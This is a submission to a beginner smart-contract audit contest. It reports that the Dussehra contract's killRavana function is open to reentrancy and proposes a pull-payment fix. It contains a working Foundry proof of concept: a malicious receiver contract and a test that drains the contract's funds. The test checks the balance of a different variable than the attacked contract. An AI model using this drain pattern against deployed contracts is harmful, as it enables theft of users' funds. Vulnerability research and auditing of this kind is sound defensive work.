First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: medium
Valid

The Dussehra killRavana function is susceptible to a reentrancy attack

7Cedars

[H-2] The Dussehra::killRavana function is susceptible to a reentrancy attack by the organiser, allowing the organiser to retrieve all funds from the Dussehra contract through one transaction.

Description: The function killRavana sets IsRavanKilled to true and sends half of the collected fees to the organiser address. However, because funds are send to the organiser through a low level .call, it is possible to set the organiser as a malicious contract that will recall killRavana at the moment it receives funds.

Note that this vulnerability is enabled by the vulnerability described in [H-1]. Because its root cause is different, I note it as an additional vulnerability.

(bool success, ) = organiser.call{value: totalAmountGivenToRam}("");
require(success, "Failed to send money to organiser");

Impact: The reentrancy vulnerability allows the organiser to drain all funds from the contract, breaking the intended functionality of the Dussehra protocol.

Please note that it is also possible to create a malicious contract that reverts on receiving funds. This will make it impossible to kill Ravana, breaking the protocol. It is a different execution of the same vulnerability.

Proof of Concept:

  1. A malicious organiser creates a contract (here named organiserReenters) with a receive function that calls Dussehra::killRavana until no funds are left.

  2. The organiserReenters contract is used to initiate the Dussehra contract.

  3. Players enter the Dussehra contract, without any problems.

  4. The organiser of the RamNFT contract calls selectRamIfNotSelected (this allows the killRavana function to be called).

  5. Anyone calls the killRavana function.

  6. All funds end up at the organiserReenters contract.

Proof of Concept

Add the following code underneath the CounterTest contract in Dussehra.t.sol.

contract OrganiserReentersKillRavana {
Dussehra selectedDussehra;
​
constructor() {}
​
function setSelectedDussehra (Dussehra _dussehra) public {
selectedDussehra = _dussehra;
}
​
// if there is enough balance in the Dussehra contract, it calls killRavana again on receiving funds.
receive() external payable {
if (address(selectedDussehra).balance >= selectedDussehra.totalAmountGivenToRam())
{
selectedDussehra.killRavana();
}
}
}

Place the following in the CounterTest contract in the Dussehra.t.sol test file.

function test_organiserReentryStealsFunds() public {
OrganiserReentersKillRavana organiserReenters;
Dussehra reenteredDussehra;
organiserReenters = new OrganiserReentersKillRavana();
​
vm.startPrank(address(organiserReenters));
reenteredDussehra = new Dussehra(1 ether, address(choosingRam), address(ramNFT));
organiserReenters.setSelectedDussehra(reenteredDussehra);
vm.stopPrank();
// We enter participants with their entree fees.
vm.startPrank(player1);
vm.deal(player1, 1 ether);
reenteredDussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player2);
vm.deal(player2, 1 ether);
reenteredDussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
​
// At this point the Dussehra contract has the fees, the organiser has no funds.
uint256 balanceDussehraStart = address(reenteredDussehra).balance;
uint256 balanceOrganiserStart = address(organiserReenters).balance;
vm.assertEq(balanceDussehraStart, 2 ether);
vm.assertEq(balanceOrganiserStart, 0 ether);
​
// Then, the organiser first selects the Ram..
vm.warp(1728691200 + 1);
vm.startPrank(organiser); // note: this needs to be called by the `organiser` of {RamNFT} _not_ the `organiser` of {Dussehra.sol}
choosingRam.selectRamIfNotSelected();
​
// then anyone calls the kill Ravana function..
reenteredDussehra.killRavana();
​
// and the organiser ends up with all the funds.
uint256 balanceDussehraEnd = address(dussehra).balance;
uint256 balanceOrganiserEnd = address(organiserReenters).balance;
​
vm.assertEq(balanceDussehraEnd, 0 ether);
vm.assertEq(balanceOrganiserEnd, balanceOrganiserStart + balanceDussehraStart);
}

Recommended Mitigation: Currently, funds are pushed through a low level call to the organiser address. This allows for a reentrancy attack to be executed. The mitigation is to refactor the code to a pull logic. Create a separate function that allows the organiser the pull the funds from the contract the moment that Ravana has been killed. See the following page for more information: https://fravoll.github.io/solidity-patterns/pull_over_push.html.

The following solution draws from this page.

  1. Add a mapping to keep track of credits owed.

+ mapping(address => uint) credits;

  1. Add a function to retrieve funds when address has credits.

+ function withdrawCredits() public {
+ uint amount = credits[msg.sender];
​
+ require(amount != 0);
+ require(address(this).balance >= amount);
​
+ credits[msg.sender] = 0;
​
+ msg.sender.transfer(amount);
}

  1. Refactor the existing killRavana function to add credits to credits mapping instead of directly transferring funds.

- (bool success, ) = organiser.call{value: totalAmountGivenToRam}("");
- require(success, "Failed to send money to organiser");
+ credits[receiver] += totalAmountGivenToRam;
​
Updates

Lead Judging Commences

bube Lead Judge
about 1 year ago
bube Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

isRavanKilled is not checked

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.